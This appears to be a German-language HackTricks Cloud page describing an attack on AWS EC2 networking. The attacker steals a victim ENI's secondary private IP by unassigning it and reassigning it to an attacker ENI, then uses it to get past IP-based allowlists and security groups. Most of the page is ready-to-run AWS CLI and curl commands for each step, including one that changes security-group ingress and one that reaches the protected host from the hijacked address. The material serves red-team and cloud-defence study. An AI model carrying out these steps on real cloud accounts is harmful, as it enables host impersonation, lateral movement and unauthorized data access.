AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Missbrauche ec2:UnassignPrivateIpAddresses und ec2:AssignPrivateIpAddresses, um die sekundäre private IP einer Opfer-ENI zu stehlen und sie auf eine Angreifer-ENI im selben Subnetz/AZ zu verschieben. Viele interne Dienste und Security Groups kontrollieren den Zugriff anhand spezifischer privater IPs. Durch das Verschieben dieser sekundären Adresse gibt sich der Angreifer auf L3 als der vertrauenswürdige Host aus und kann auf allowlisted services zugreifen.
Prereqs:
- Berechtigungen:
ec2:DescribeNetworkInterfaces,ec2:UnassignPrivateIpAddressesauf der ARN der Opfer-ENI, undec2:AssignPrivateIpAddressesauf der ARN der Angreifer-ENI. - Beide ENIs müssen im selben Subnetz/AZ sein. Die Zieladresse muss eine sekundäre IP sein (die primäre IP kann nicht entfernt werden).
Variables:
- REGION=us-east-1
- VICTIM_ENI=
- ATTACKER_ENI=
- PROTECTED_SG=
# SG auf einem Zielservice, der nur $HIJACK_IP erlaubt - PROTECTED_HOST=
Steps:
- Wähle eine sekundäre IP aus der Opfer-ENI
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
- Stellen Sie sicher, dass der geschützte Host nur diese IP erlaubt (idempotent). Wenn stattdessen SG-to-SG rules verwendet werden, überspringen.
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
- Ausgangszustand: von attacker instance sollte eine Anfrage an PROTECTED_HOST ohne spoofed source fehlschlagen (z. B. über SSM/SSH)
curl -sS --max-time 3 http://$PROTECTED_HOST || true
- Entfernen Sie die sekundäre IP vom Opfer-ENI
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Weise dieselbe IP der Angreifer-ENI zu (bei AWS CLI v1 füge
--allow-reassignmenthinzu)
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
- Überprüfen, ob der Besitz übertragen wurde
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
- Von der attacker instance aus source-bind an die hijacked IP, um den protected host zu erreichen (stelle sicher, dass die IP im OS konfiguriert ist; falls nicht, füge sie mit
ip addr add $HIJACK_IP/<mask> dev eth0hinzu)
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
Auswirkungen
- Umgehen von IP-Allowlists und das Vortäuschen vertrauenswürdiger Hosts innerhalb der VPC, indem sekundäre private IPs zwischen ENIs im selben Subnetz/AZ verschoben werden.
- Zugriff auf interne Dienste, die den Zugriff anhand spezifischer Quell-IP-Adressen regeln, wodurch lateral movement und Datenzugriff ermöglicht werden.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud